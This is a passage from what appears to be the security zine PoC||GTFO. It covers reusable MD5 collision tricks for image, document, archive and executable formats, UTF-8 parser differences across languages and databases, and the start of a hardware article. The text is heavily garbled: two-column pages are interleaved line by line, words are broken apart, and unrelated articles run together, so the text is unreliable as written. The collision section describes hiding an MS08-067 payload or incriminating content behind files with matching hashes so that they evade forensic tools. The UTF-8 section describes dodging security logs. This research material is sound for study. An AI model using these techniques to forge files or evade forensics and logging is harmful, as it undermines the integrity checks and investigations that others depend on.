1A0: E1 42 2B 86-0C 94 2A F6-D6 A4 81 B5-2B 0B E9 37 1A0: E1 42 2B 86-0C 94 2A F6-D6 A4 81 B5-2B 2B E9 37
1B0: 44 D2 E4 23-14 7C 16 B8-84 90 8B E0-A1 A7 BD 27 1B0: 44 D2 E4 23-14 7C 16 B8-84 90 8B E0-A1 A7 BD 27
1C0: C7 7E E6 17-1A 93 C5 EE-59 70 91 26-4E 9D C7 7C 1C0: C7 7E E6 17-1A 93 C5 EE-59 70 91 26-4E 9D C7 7C
1D0: 1D 3D AB F1-B4 F4 F1 D9-86 48 75 77-6E FE 98 84 1D0: 1D 3D AB F1-B4 F4 F1 D9-86 48 75 77-6E FE 98 84
1E0: EF 3C 1C C7-16 5A 1F 83-60 EC 5C FE-CA 17 0C 74 1E0: EF 3C 1C C7-16 5A 1F 83-60 EC 5C FE-CA 17 0C 54
1F0: EB 8E 9D F6-90 A3 CD 08-65 D5 5A 4C-2E C6 BE 54 1F0: EB 8E 9D F6-90 A3 CD 08-65 D5 5A 4C-2E C6 BE 54
26
Exploitation
Identical prefix collisions are rather limited, but for
all their versatility, chosen prefix collisions are a lot
more time consuming to create.
Another approach is to craft reusable prefixes
via either identical-prefix attack such as UniColl—
or chosen prefix to overcome some limitations—but
reuse that prefix pair in combinations with two pay-
loads like a classic identical prefix attack.
Once a good prefix pair has been computed, we
can instantly collide two source files. It’s just a mat- PNG with a Comment First
ter of massaging file data so that it fits both the file
format specifications and the precomputed prefix re- The biggest limitation of PNG is that it uses
quirements. CRC32 at the end of its chunks, which would pre-
vent the use of collision blocks. But as a happy co-
JPEG incidence, most parsers ignore these checksums and
we can as well!
The Application segment should in theory follow The image meta data (dimensions, color space,
just after the Start of Image marker, but thankfully etc.) are stored in the IHDR chunk, which should be
this isn’t required in practice. The lets us make our right after the signature, before any potential com-
collision generic, and the only limitation is the size ment. It would mean that we can only precompute
of the smallest image. collisions of images with the same metadata. How-
A comment’s length is stored in two bytes, lim- ever, that chunk can actually be located after a com-
ited to 65,536 bytes, which would be something like ment block for the vast majority of readers. So we
a 400 × 400 photo. To jump to another image, its can put the collision data before the header, which
Entropy Coded Segment needs to be split to scans enables to collide any pair of PNG with a single pre-
which are smaller than this, either by storing the computation.
image progressively or by using jpegtran to apply Since a PNG chunk has a length of four bytes,
custom scan sizes. there’s no need to modify the structure of either file.
So an MD5 collision of two arbitrary JPGs is in- We can simply jump over a whole image in one go.
stant, and needs no chosen-prefix collision, just Uni- We can insert as many discarded chunks as we
Coll. See jpg.py for a handy script to collide pho- want, so we can add one for alignment, then one
tographs of your two authors to collision*.jpg. which length will be altered by a UniColl. The
lengths will be 00 75 and 01 75.
So an MD5 collision of two arbitrary PNG im-
ages is instant, with no prerequisite—no computa-
tion, just some minor file changes—and needs no
chosen-prefix collision, just UniColl. See png.py,
which collided these two logos from competing man-
ufacturers.
27
PNG with IHDR First Most parsers of PNGs tions of their own, we only have to (1) normalize
happily accept files that start with a chunk other the palette, (2) set the first frame’s duration to the
than IHDR. However, some readers, notably Safari maximum, and (3) draft a comment that jumps to
and Preview—do you known of any others, gentle the start of the first frame data, so that the com-
reader?—do not tolerate it. ment will sled over the image data as a comment,
In this case, the image header and its properties and end the same way, until a null length is encoun-
(dimensions, color space) must be the first, before tered. Then the parser will find the next frame and
any collision blocks Both colliding files must then display it.
have the same properties.
Conveniently, UniColl is up to the task, and, of So with some minor setup—only a few hundred
course, the computed prefix pair can be reused for bytes of overhead—we can sled over any GIF image
any other pair of files with the same properties. The and work around the 256 bytes limitation. Kudos
script pngStd.py will collide any pair of such files. to Marc for this nifty trick!
It launches UniColl if needed to compute the prefix
In the end, the current GIF limitations for in-
pair.
stant MD5 collisions are that (1) it must have no
animation, (2) the images must be normalized to a
GIF single palette,31 (3) the images must the same di-
mensions, and (4) that after eleven minutes, both
The GIF format is tricky for a number of reasons. files will display the same final frame. Here are two
It stores its metadata in the header before any com- MD5-colliding GIFs by KidMoGraph.
ment is possible, so there can’t be a generic prefix
for all GIF files. If the file has a global palette, it is
also stored before a comment is possible. Its com-
ment chunk length is encoded by a single byte, so
that the length of any comment chunk is capped at
a maximum of 256 bytes.
However, the comment chunks follow a pe-
culiar structure: it’s a chain of “<length:1>”
“<data:length>” until a null length is defined. This
makes any non-null byte a valid “jump forward”,
which makes it suitable to be used with FastColl,
as shown in PoCkGTFO 14:11.
So, although we can’t have a generic prefix, we
can at least collide any pair of GIF with same meta-
data (dimensions, palette), and we only need a sec-
ond of FastColl to compute its prefix. Portable Executable The Portable Executable
Now the problem is that we can’t jump over a has a peculiar structure, with a vestigial DOS header
whole image, as we would in PNG. Nor can we jump that points to a second structure, the PE header.
over a big structure, as we would in JPG. This header must be at offset 0, and it has the
A possible workaround is to massage the com- fixed length of a full block, ending with a PE header
pressed data or to chunk the image into tiny areas— pointer that is beyond UniColl’s reach, so only a
as in the case of the GIF Hashquine—but this is not chosen prefix collision is useful in colliding PE files.
optimal.
Yet there is another idea, which works generi- So the strategy is to move the PE header further
cally with only a few limitations! It was suggested into the file to leave room for a colliding block after
by Marc, and it’s brilliant. the DOS header, then use chosen prefix collisions to
Note that the image data also follows the fork a DOS header that points to two different PE
“<length, data>” sequence format. We can abuse offsets, with two different PE headers. These sec-
this together with the GIF’s animation feature. If tions can follow each other, so long as you apply a
the two GIFs we want to collide have no anima- delta to the offsets of the two section tables.
31 gifsicle –use-colormap web
28
This means that it’s possible to instantly collide The curious case of “Runtime R6002 - float-
any pair of PE executables—even if they use differ- ing point not loaded” MSVC libraries check sec-
ent subsystems or architectures! Although executa- tions for permissions. This check can be patched
bles collisions are typically trivial via any loader, out. Patch the following to set eax to 1 instead.32
this kind of exploitation is transparent: the code is
identical and loaded at the same address.
1 C1E81F s h r eax , 0 1 F
Attached you will find two colliding PEs: a GUI F7D0 not eax
applicaton tweakPNG.exe (as collision1.exe) 3 83 E001 and eax , 1
and a CLI application, fastcoll.exe (as
collision2.exe). Windows never allows these two
to meet, except in an MD5 collision! The script
If you apply collisions on packed files, (such as
pe.py generates instant collisions of Windows Exe-
UPX-ed files, to prevent specific PDF keywords like
cutables, sharing a hash but running different soft-
endstream from being visible in cleartext), the off-
ware.
sets will change, and this may cause the packer to
fail to restore the right attributes. So you may
want to patch out that code before UPX-ing the
executable and colliding it.
29
The attached script mp4.py will instantly col- Koblitz: while we are all standing on the shoul-
lide arbitrary video. As we already mentioned, ders of giants, we might as well know their faces.
it may be portable to other formats than MP4. ( collision1.jp2 and collision2.jp2)
The examples can be found in collision1.mp4 and
collision2.mp4.
30
For example, these two valid PDF files are equiv-
alent to each other.
1 %PDF−1.
1 0 obj <</Pages 2 0 R>>e n d o b j
3 2 0 obj <</Kids [ 3 0 R] / Count 1>>e n d o b j
3 0 obj <</Parent 2 0 R>>e n d o b j
5 t r a i l e r <</Root 1 0 R>>
1 %PDF−1.
11 0 obj <</Pages 12 0 R>>e n d o b j
3 12 0 obj <</Kids [ 1 3 0 R] / Count 1>>e n d o b j
13 0 obj <</Parent 12 0 R>>e n d o b j
5 t r a i l e r <</Root 11 0 R>>
pages#2 pages#12
page#3 page#13
root catalog#1 pages#2
content#4 content#14
31
PDF can store foreign data in two ways, as a
line comment or as a stream object. In a line com-
ment, the only forbidden characters are newlines (\r
and \n). This can be used inside a dictionary ob-
ject, e.g., to modify an object reference, via UniColl.
The following is a valid PDF object even though it
contains binary collision blocks—just retry until you
have no newline characters.
1 1 0 obj
<< /Type / C a t a l o g /MD5_is /
REALLY_dead_now__ / Pages 2 0 R
3 . . . some u g l y b i n a r y g o e s h e r e . . .
>>
5 endobj
In a stream object, any data is possible, but since Colliding Document Structure Whether you
we’re inside an object, we can’t alter the rest of the use UniColl as inline comment or Chosen Prefix in a
PDF structure. So we need a Chosen Prefix colli- dummy stream object, the strategy is similar: shuf-
sion to modify the structure outside the containing fle objects numbers around, then make the Root ob-
stream object. ject point to different objects. Unlike SHAttered,
The first case serves to highlight the beauty this means instant collision of any arbitrary pair of
of UniColl, a collision where differences are pre- PDFs, at document level.
dictable, so that you can write poetry in colliding
data—thanks to Jurph!35 The MuPDF suite provides a useful trick:
Rather than modifying the structure of the doc- mutool clean output is reliably predictable, so it
ument and fooling parsers, we’ll just use collision can be used to normalize PDFs as input and fix your
blocks directly to produce differing texts, with al- merged PDF while keeping the important parts of
ternate readings! the file unmodified. MuTool doesn’t discard bogus
key/values from PDF dictionaries unless asked, and
1 V V
keeps them in the same order, so using fake dictio-
Now he hash MD5, Now he hath MD5, nary entries such as /MD5_is /REALLY_dead_now__
3 No enemy c a r e s ! No enemy d a r e s ! is perfect for aligning things predictably with-
Only he gave Only he have out needing another kind of comments. However,
5 the shards . the shares .
Can ’ t be owned & Can ’ t be pwned &
mutool won’t keep comments in dictionaries, so it
7 h i s t r u e gold , h i s t r u e hold , won’t support inline-comment tricks.
l i k e One F r a i l , l i k e One G r a i l ,
9 sound a s f o l d . sound a s g o l d . An easy way to do the object-shuffling operation
^ ^ without hassle is just to merge both PDF files via
mutool merge then split the /Pages object in two.
To make room for this object, just merge a dummy
You will find these colliding poems in PDF in front of the two documents.
poeMD5_A.pdf and poeMD5_B.pdf, a true crypto-
Optionally, you can create a fake reference to a
graphic artistic creation!
dangling array to prevent garbage collection from
deleting the second set of pages.
The script pdf.py takes less than a second (see
pdf.log) to collide the two public PDF papers
like Spectre and Meltdown (collision1.pdf and
collision2.pdf.)
35 unzip pocorgtfo19.pdf word-decrementer.zip || git clone https://github.com/Jurph/word-decrementer
32
The previous techniques work with any pair of
existing PDF files, but even better, you can com-
pile colliding files with PDFLATEX directly from TEX
sources. You will nee PDFTEX’s special operators
for this.37
With these operators, you can define objects
directly—including dummy key and values for
alignments—and define empty objects to reserve
some object slots by including this at the very start
of your TEX sources:
\ begingroup
% now p a d d i n g s o t h a t t h e c o l l i s i o n b l o c k s
% ( e n d i n g a t 0xC 0 ) a r e c o v e r e d
/ 0 1 2 3 4 5 6 7 8 9ABCDEF0 1 2 3 4 5 6 7 8 9ABCDEF0 1 2 3 4 5 6 7 8 9ABCDEF
% w i t h an e x t r a c h a r t o b e r e p l a c e d b y a r e t u r n
/ 0 1 2 3 4 5 6 7 8 9ABCDEF0 1 2 3 4 5 6 7 8 9ABCDEF0 1 2 3 4 5 6 7 8 9ABCDEF
0 1 2 3 4 5 6 7 8 9ABCDEF0
>>}
% t h e o r i g i n a l c a t a l o g o f t h e s h i f t e d doc
\ immediate \ p d f o b j {<</Type / P a g e s / Count 1/ K i d s [ 8 0 R
]>>}
% t h e o r i g i n a l c a t a l o g o f t h e h o s t doc
\ immediate \ p d f o b j {<</Type / P a g e s / Count 1/ K i d s [ 3 3 0 R
]>>}
% t h e h o s t s i z e (+3 f o r s p a r e o b j e c t s l o t s ) − 1
% p u t t i n g a h i g h e r margin w i l l j u s t work ,
% and XREF can h a v e h u g e g a p s
\ o b j c o u n t =25
\ loop
\ message {\ the \ o b j c o u n t }
\ advance \ o b j c o u n t −1
\ ifnum \ o b j c o u n t >0
\ repeat
\ endgroup
Uncommon Strategies
Collision attacks are usually about two valid files of
the same type with two different contents. However,
36 See page 81 of Adobe’s PDF32000_2008.pdf.
37 http://texdoc.net/texmf-dist/doc/pdftex/manual/pdftex-a.pdf
33
we need not constrain ourselves to this scenario, so PDF JPG
let’s explore some weirder possibilities.
%PDF-1.... FF D8
stream FF FE xx
MultiColls: Multiple Collisions Chain
34
PDF/PE Merging a PDF with a dummy file via PDF/PNG Similarly, it’s possible to collide an
mutool is a good generic way to reorder objects and arbitrary PDF and PNG files with no restrictions
then get the first two objects discardable (dummy on either side. This is instant, reusable, and generic.
page and content). This is a perfect fit the trick Check out png-pdf.pdf and png-pdf.png.
of using a stream object as the PDF file’s object
with id 1 0 that references its actual length later on
Pileups (Multi-Collisions) But why stop at col-
(after collision blocks) in the second object. Recall
liding just two files? Cryptographic collisions are
that it’s perfectly legal for a stream object in a PDF
not limited to just two files! As demonstrated by the
file to specify its length indirectly, as a reference to
Nostradamus experiment38 in 2008, chaining colli-
another object that happens to contain a value of
sions makes it possible to collide more than two files.
suitable type for the length.
The first collisions can be either identical or chosen
The only problem is that mutool will always
prefix, but all the following ones have to be chosen
compute and inline the length, removing the length
prefix collisions. You can call them multi-collisions,
reference. This has to be re-inserted into the PDF
I prefer to call them pileups.
instead of the computed value. Still, most references
to 2 0 R will be smaller than hardcoded lengths.
Thankfully, this can be fixed without altering any PE/PNG/MP4/PDF Combining all the previ-
object offset, so there’s no need to patch the PDF ously acquired knowledge, I used three chosen prefix
file’s XREF table. collisions to craft four different prefixes for differ-
The script pdfpe.py can, for instance, instantly ent file types: document (PDF), video (MP4), ex-
collide a PDF viewer and a PDF document. See ecutable (PE), and image (PNG) to produce this
pepdf.exe and pepdf.pdf, in which a PDF viewer pileup.
showing a PDF (itself showing a PDF) have the This script is generic and instant, and it happily
same MD5! generated pocorgtfo19.pdf, pocorgtfo19.png,
pocorgtfo19.mp4, and pocorgtfo19.exe.
PE PNG MP4 PDF
000
MZ .. .. .. \x89PNG... ll ll ll ll %PDF-1.3
8 ... ll ll ll ll .f .r .e .e %ABCD
10 .c .o .l .l
1 0 obj
<< /Length 2 0 R >>
30 .. e_lfanew stream
040 40
34 align 34 align 34 align 34 align
0C rand 0C rand 0C rand 0C rand
080
9 blocks 9 blocks
collision collision
2C0
34 align 34 align
0c rand 0c rand
300
9 blocks
collision
540
ll ll ll ll .f .r .e .e
548
cc cc cc cc ll ll ll ll
.c .o .l .l
554
PE Header
Sections table
Sections
[Appended data]
cc cc cc cc
PNG data
IEND
MP4 data
endstream
endobj
2 0 obj
<length>
endobj
PDF content
XREF
PDF Trailer
35
Incriminating Files Another evil use case for
collisions is to hide something incriminating inside
something innocent, but desirable. A forensic ev-
idence collection method that relies on comparing
weak hashes would catch the innocent file, and you
won’t be able to prove that you didn’t have the other
file that shows incriminating content and hides in-
nocent content.
Since forensic software typically focuses on quick
parsing, not on detailed file analysis, this scenario is
Gotta Collide ’em All! Another use of instant, quite unsettlingly realistic. Here is an image show-
reusable, and generic collisions would be to hide any ing different previews under different tabs of the En-
file of a given type—say, PNG—behind dummy files Case forensic software:
or the same file every time. This is easy to do by just
concatenating it to the same prefix after stripping
the signature; you could even do that at a library
level!
From a strict parsing perspective, all your files
will show the same content, and the evil images
would be revealed as a file with the same MD5 as
previously collected.
Let’s take two files, one of which contains a pay-
load for MS 08-067, and collide them with the same
PNG.
ot
!=
!=
is n
is
ot
==
Trinity JavaScript
36
Failures ZIP There’s no generic reusable collision for ZIP
either. However, it should be possible to collide two
Not all formats can have generic, reusable prefixes. files in two core hours; that is, thirty-six times faster
If some kind of data holder can’t be inserted between than a chosen prefix collision.
the magic signature and the standard headers that
ZIP archives are a sandwich of at least three lay-
are critical and specific to each file, then generic col-
ers. First comes the files’ content, a sequence of
lisions are not possible.
Local File Header structures, one per archived file
or directory, then some index (a sequence of Cen-
tral Directory entries), then a single structure that
ELF The ELF header is required at offset 0 and
points to this index (the End Of Central Directory).
contains critical information such as whether the bi-
The order of these layers is fixed and cannot be ma-
nary is 32-bit or 64-bit, its endianness, and its ABI
nipulated. Because of this required order, there’s no
version right at the beginning. This makes it im-
generic prefix that could work for any collision.
possible to have a universal prefix that could be fol-
lowed by crafted collision blocks before these critical However, we can explore some non-generic ways.
parameters that are specific to the original file. Some parsers only heed the file content structure.
That is not a correct way to parse a ZIP archive,
and it can be abused.
Mach-O Mach-O doesn’t even start with the Another approach could be to just merge the two
same magic for 32 bits (0xfeedface) and 64 bits archives we’d like to collide, with their merged lay-
(0xfeedfacf). Soon after, there follow the num- ers, and to then use UniColl but with N = 2, which
ber and the size of commands such as segment def- introduces a difference on the fourth byte, to kill the
initions, symtab, version, etc. Like ELF, easily magic signature of the End of Central Directory.
reusable collisions are not possible for Mach-O files. This means one could collide two arbitrary ZIPs
with a single UniColl and 24 bytes of a set prefix.
In particular, a typical End of Central Directory,
Java Class Files Right after the file magic and which is twenty-two bytes with an empty comment
the version (which varies just enough to be trouble- field, looks like this:
some), a Java class file contains the constant pool
count, which is quite specific to each file. This pre-
cludes universal collisions for all files. 00: 504b 0506 0000 0000 0000 0000 0000 0000 PK..............
10: 0000 0000 0000 ......
However, many files do share a common ver-
sion and we can pad the shortest constant pool
If we use this as our prefix (padding the prefix
to the longest count. Specifically, we can first in-
to 16 bits) for UniColl and N = 2, the difference is
sert a UTF8 literal to align information, then de-
on the fourth byte, killing the magic .P .K 05 06
clare another one with its length abused by the Uni-
by changing it predictably to .P .K 05 86. This is
Coll. This will require code manipulation, since all
not generic at all, but it only takes hours, far less
pool indexes will need to be shifted. Instant MD5
than the 72 of a chosen prefix collision.
reusable collisions of Java Class should be possible,
but they will require code analysis and modification.
00: 504b 0506 0000 0000 0000 0000 0000 0000 PK..............
10: 0000 0000 0000 2121 eb66 cf9d db01 83bb ......!!.f......
20: 2888 4c41 e345 7d07 1634 5d4a 3b61 89a0 (.LA.E}..4]J;a..
TAR Tape Archives are a sequence of concate- 30: 0029 94af 4168 2517 0bbc b841 cbf2 9587 .)..Ah%....A....
nated header and file contents, all aligned to 512 40: e438 0043 6390 279d 7c9e a01e e476 4c36 .8.Cc.’.|....vL6
50: 527f b1f4 653e d866 f98d 7278 5324 0bd5 R...e>.f..rxS$..
byte blocks. There is no central structure to the 60: b31d ef6d d5d6 1163 5a2e a8a5 21bf eab4 ...m...cZ...!...
whole file, so there is no global header or comment 70: c59c 028e a913 f6b7 0036 c93f 5092 a628 .........6.?P..(
of any kind to abuse. 00: 504b 0586 0000 0000 0000 0000 0000 0000 PK..............
One potential trick might be to start a dummy 10: 0000 0000 0000 2121 eb66 cf1d db01 83bb ......!!.f......
20: 2888 4c41 e345 7d07 1634 5d4a 3b61 89a0 (.LA.E}..4]J;a..
file of variable length, but the length is always at 30: 0029 94af 4168 251f 0bbc b841 cbf2 9587 .)..Ah%....A....
the same offset, which is not compatible with Uni- 40: e438 00c3 6390 279d 7c9e a01e e476 4c36 .8..c.’.|....vL6
50: 527f b1f4 653e d866 f98d 72f8 5324 0bd5 R...e>.f..r.S$..
Coll. This means that only chosen prefix collisions 60: b31d ef6d d5d6 1163 5a2e a8a5 21bf eab4 ...m...cZ...!...
are practical for collided TAR files. 70: c59c 028e a913 f6af 0036 c93f 5092 a628 .........6.?P..(
37
The problem is that some parsers still parse ZIP Summary
files from the beginning even though they should
We will end with some handy observations, points
be parsed bottom-up. One way to make sure that
which have been made earlier in this paper but
both files are properly parsed is to chain two UniColl
might be worth further consideration.
blocks, to enable and disable each End of Central
Directory. • JPG has some limitations on data, which can
To prevent ZIP parsers from complaining about be improved to some extent by manipulating
unused space, one can abuse Extra Fields, the file the scans encoding.
comments in Central Directory, and archive com-
ments in the End of Central Directory. See zip.asm • PDF with JPG is the initial implementation of
for the structure of a dual ZIP, which can host two the SHAttered attack, but it’s simply a pure
different archive files. JPG trick in a PDF document rather than a
After two UniColl computations, have two col- complex abuse of the PDF structure as such.
liding files, collision1.zip and collision2.zip. • Safari requires PNGs to have their IHDR chunk
File Header in the first slot, before any collision blocks can
Extra header be added. Doing so prevents a generic prefix,
File Header
in which case the collision is limited to specific
Extra header
dimensions, color space, BPP, and interlacing.
file data • The Atom/Box formats such as MP4 may
Central Dir work with the same prefix for different sub-
entry formats. Some subformats like JPEG2000 or
comment HEIF require extra grooming, but the exploit
file data
Central Dir strategy is the same—it’s just that the colli-
entry sion is not possible between sub-formats, but
comment only with a pair of prefixes for a specific sub-
<align> format.
End of CD • Atom/Box is SHAttered-compatible only
ion comment
o llis when using 64-bit lengths.
c
• For better compatibility, ZIP needs two Uni-
<align>
Colls for a complete archive, and these colli-
End of CD co
ll sions depend on both files’ contents.
comment isi
on
Thanks to Philippe Teuwen for his extensive
feedback on file formats in general, and to Rafal
Hirsz for his continuing help with JavaScript.
h
red
las
ll
ll
Co
tte
shC
iCo
t
Sha
Fas
Un
Ha
Format Generic?
PDF Y × ×
JPG Y (1) × × (2) ×
PNG Y/N (3) × ×
MP4 Y (4) × × (5) ×
PE Y ×
GIF N × ×
ZIP N × (6) ×
ELF N ×
TAR N ×
Mach-O N ×
Class N ×
38
19:06 Selectively Exceptional UTF8; or,
Carefully tossing a spanner in the works.
by T. Goodspeed and R. Speers
In the good ol’ days, software might be writ- Here we describe the validity of many such strings,
ten once, in one programming language, with one grouping a number of UTF-8 implementations by
parser for each file format. In the modern world, their behavior when faced with tricky input.
things can be considerably more complicated, with
In the context of this paper, a string means a
pieces of a complex distributed system using many
string of bytes, rather than a decoded string of char-
programming language and databases, each with
acters. A string is tricky if it is accepted by at least
their own parsers. This is especially true in today’s
one interpreter and rejected by at least one other.
era of programming via deep stacks of libraries and
frameworks, combined with proliferation of micro- We present a number of bytestrings which are
services, 39 it really matters how different languages legal as UTF-8 in some but not all of eleven tar-
treat what should be the exact same sequence of get implementations in programming languages and
characters. databases. Additionally, we present commentary
Sometimes it seems no one can agree on a charac- and observations that might be useful in identifying
ter encoding scheme – the olde’ ASCII ignores non- other UTF-8 parser differentials and in exploiting
English languages, and since the internet realized those that are known.
the need for other language support, now develop-
ers consistently have to deal with frustrations like
str.encode(’utf-16’) conversions between func-
tion calls. But, if everyone dropped their debates A Quick Review of UTF-8
and adopted one standard – UTF-8,40 UTF-16, or
otherwise – we’d all finally be able to coexist – right?
Wrong. In this POC, we’ll demonstrate how the Out of many different standards for encoding text
differences between libraries and programming lan- with characters unavailable in the ASCII standard,
guages which parse the UTF-8 standard lead to in- UTF-8 by Ken Thompson and Rob Pike became the
consistent behaviors with parsing and recognition. dominant standard by 2009. Among other advan-
We do not mean the numerous issues which have tages, it is a superset of ASCII that can describe
been previously discussed regarding making charac- any codepoint available in the Unicode standard.
ters that look the same (homoglyphs),41 file names As of the Unicode Standard 6.0, UTF-8 consists
which trick users to executing them,42 or evading of between one and four bytes that represent a code-
input filtering and validation.43 Instead, we share point between U+0000 and U+10FFFF, with some re-
parser differentials with how these libraries consume gions such as U+D800 to U+DFFF blacklisted. Bits
a sequence of bits, and interpret them as a set of are distributed as in Table 2, but further restrictions
UTF-8 commands. mean that only the sequences in Table 3 are consid-
A good starting point for these differentials ered to be well formed. We specify the version be-
would be to document differences in the validity of cause these details have changed over time, with the
bytestrings as UTF-8, from the perspective of each standard being considerably more strict now than
language or library with which we might interact. when it was first described.
39 A curated list of different micro-service frameworks across languages should convince the reader that this is not limited to
a handful of languages.
git clone https://github.com/mfornos/awesome-microservices
40 See RFC3629 - UTF-8, a transformation format of ISO 10646
41 See references in Unicode Technical Report #36, or discussion of the internationalized domain name (IDN) homograph
attack.
42 This is a trick that malware authors have used to make the user see filenames like happyexe.pdf, but which is really
happyfdp.exe.
43 One example was MS09-20 (CVE-2009-1535) where “%c0%af” could be inserted into a protected path to bypass IIS’s
WebDAV path-based authentication system by making the path not match the authenticated rules list.
39
Similar Situations
As discussed in the introduction, we are not dis-
cussing the well-studied areas of homographs, other
visual confusion, or filter evasion. Some prior work
makes observations which have similarities, or hint
at, the issues we discuss.
First, Unicode Technical Report #36 notes that
in older Unicode standards, parsers were permit-
ted to delete non-character code points, which led
to issues when an earlier filter (e.g., a Web IDS)
checked for some string like “exec(” that it didn’t
want to have present, but an attacker inserted an
invalid code sequence in the string – so that it
didn’t match.46 A different parser later in the stack
may instead choose to delete this non-character code
point, converting the string from “ex\uFEFFec(” to
“exec(”, thus possibly affecting the security of the
application.
Similarly, the same document references issues
that arise when systems compare text differently.47
Similar situations are what we discuss here, how-
ever we focus on the string being judged as illegal,
rather than compared differently, due to the parser
differentials.
make no change to that coded character sequence other than the possible replacement of character sequences by their canonical-
equivalent sequences or the deletion of noncharacter code points.” (Emphasis added.)
47 Unicode Technical Report #36 section 3.2
40
Ain’t no law against bad handwriting. Surrogates
Now that we’ve covered the theory, let’s get down Some operating systems, such as Java and Windows,
to some quirks of specific UTF-8 implementations. prefer to internally represent characters as 16-bit
Follow along in Table 1 if you like. units. For this reason, UTF-16 uses pairs in the sur-
rogate range from D800 to DFFF to represent char-
Null Bytes acters which use more than sixteen bits. This same
range, U+D800 to U+DFFF, is reserved in the Unicode
Null runes (U+0000) in UTF-8 are to be represented
standard so that no meaningful codepoints are ex-
as a null byte (00), rather than encoded as a two-
cluded.
byte sequence (C0 80). Although Wikipedia men-
You can see in Table 1 that these surrogates are
tions a “Modified UTF-8” that allows this sequence,
perfectly legal in Python 2 and MariaDB, but trig-
in practice it has been rather hard for us to find one
ger exceptions in Python 3, Go, Rust, Perl 6, Java
in surveying the major languages and libraries. All
and .NET. Further experimentation with this would
implementations that reject anything seem to reject
be handy, as surrogates can be either orphaned or
the null pair.
in their proper, matching pairs.
What is worth noting, however, is that Postgres–
perhaps only Postgres–will reject those strings which
contain simple null bytes. You can express “hello Byte Counts
world\x00” in nearly any other implementation, but
As we mentioned earlier, the pattern of UTF8 bit
perhaps for fear that naive C code might truncate
distribution shown in Figure 2 is very regular. An
it, Postgres will reject it.
implementation could easily be restricted to three or
four bytes by chance, and by continuing the pattern,
1 p s q l ( 1 0 . 5 ( Debian 10.5 −1) , server 9.6.7)
Type " h e l p " f o r h e l p . one can easily imagine a fifth or sixth byte. In fact,
3
u s e r=> s e l e c t E ’ h e l l o \ x00 ’ ; implementations such as Perl 5 happily consume six
5 ERROR: i n v a l i d byte sequence for encoding "UTF8" : 0 x00
u s e r=> byte UTF-8 runes, and a seven-byte implementation
might be lurking in some interpreter, somewhere.
As a general rule, we see that ancient implemen-
All other languages could care less. tations support either three or six bytes, while the
most modern languages seem to support four bytes.
Welcome t o t h e MariaDB m o n i t o r . We’ve not yet found an implementation that sup-
2 S e r v e r v e r s i o n : 1 0 . 1 . 3 5 − MariaDB−1 D e b i a n unstable
ports only five bytes.
4 Copyright ( c ) 2000 , 2018 , Oracle , MariaDB Corporation
Ab and o t h e r s .
issues (UI using an Array, but Java expecting a String). While this isn’t an issue specific to microservices, the problem is
41
security or character encoding differences.48 The is- Future steps for operations
sues that such development teams feel is likely only
Someone looking to find vulnerable systems at scale
the tip-of-the-iceberg if they were to start consid-
will need to overcome a few challenges. First,
ering where differentials in the parsing of data rep-
the seemingly religious feud over mono-repos or
resentations could pose security or functionality is-
multiple-repos means that modifying a project like
sues.
github-analysis50 to return statistics about mul-
tiple languages in a repository, as opposed to the pri-
Dodging the Logs mary one, is insufficient to identify many cases. If a
Companies routinely rely on logging and the index- repository, or set of them from one vendor, contains
ing of these logs for use in debugging, optimization, code in multiple languages, false positives (e.g., unit
security monitoring, and incident response. In the tests written in a different language, or dead code)
case of a web service, imagine one implemented in need to be suppressed. Finally, dev-ops artifacts
Python which presents a RESTful API that users such as Dockerfiles, Cloud Formation scripts, and
interact with. To help determine when users act similar likely should be analyzed to identify third-
maliciously, all POST request activity is logged to a party databases that are used. (Alternately code
MariaDB database. could be searched for database connection strings.)
The fourbyte case presents a situation where We believe that future work to screen for projects
the string F0908D88h is recognized and processed where these bugs may exist will help bring this type
by the Python service, but if that same string is of vulnerability to something which can be detected
logged to a MariaDB or Postgres database, it will and mitigated.
be treated as illegal and the insert would fail.
Can everyone please agree already?
Disappearing Data
Of some hope for defenders is that Java, .NET,
In another case, user input may be taken in, vali- Python3, Go, Rust, and Perl 6 seem to all support
dated, and acted upon in one language, and then very similar dialects, rejecting and accepting strings
transferred to another system which rejects the in step with one another.
string due to a parser differential. As we are not ones We the authors therefore offer a bounty of a pint
to advocate for keeping databases of everyone, espe- of good beer for each test case that newly differ-
cially not for minor misunderstandings of the speed entiates these languages, by triggering an exception
limit, this could be handy in a hypothetical case in one and not the others, up to a maximum of 64
where the drivers license database is maintained in beers.51
one implementation, but where the speeding ticket
database is implemented in a different language. In-
put to the speeding ticket database could come from
the “trusted” license database, but fail to be pro-
cessed and/or recorded in the ticketing system.
This may also be the case where a frontend writ-
ten in one language has it’s search index provided by
another. One example may be Python frontend such
as Reddit’s legacy code49 that uses Solr – a Java
project – to provide search indexing. We haven’t
verified any such issues, and expanded cases would
be needed to differentiate languages such as Python
and Java.
compounded when you increase the number of places these data representation issues can occur.”
https://rclayton.silvrback.com/failing-at-microservices
49 git clone https://github.com/reddit-archive/reddit
50 git clone https://github.com/benfred/github-analysis
51 We the authors would also like to make clear that these will be excellent beers by our standards, but that Alexei Bulazel
would consider them unworthy, as they are insufficiently valuable to be collateral in a mortgage, nor even for payment of a
bridewealth or dowry.
42
perl5 python2 python3 golang rust perl6 mariadb postgres
mono dotnet java
surrogate EDA081 1 1 0 1 0
nullsurrog 3000EDA081 1 1 0 1 0
threehigh EDBFBF 1 1 0 1 0
fourbyte F0908D88 1 1 1 0 0
fourbyte2 F0BFBFBF 1 1 1 0 0
fourhigh F490BFBF 1 0 0 0 0
fivebyte FB80808080 1 0 0 0 0
sixbyte FD80808080 1 0 0 0 0
sixhigh FDBFBFBFBF 1 0 0 0 0
nullbyte 3031320033 1 1 1 1 0
43
19:07 Never Fret that Unobtainium
by Matthew Peters
44
But again, all was not lost! There are things very
similar to transformers, for they have cousins, induc-
tors. These devices do similar tasks and often have
similar features. They can load up their cores with
a magnetic fields made by current loops, but they
only have one length of wire to receive that mag-
netic field with when it collapses. A transformer is
just an inductor with more than one wire, and more
than one loop to share the magnetic field. I anew
sought something far easier to find, an inductor with
enough loops around to make up a good start of the
unfound transformer. Ferrite, the powder used to
But hear me when I say all was not lost! For
form the core of inductors, has an interesting fea-
the VFD is a simple device, once you peel back its
ture; a handy one for those who care not for math
layers. It needs the filament to be hot and strongly
– for each loop around it the inductance is about 1
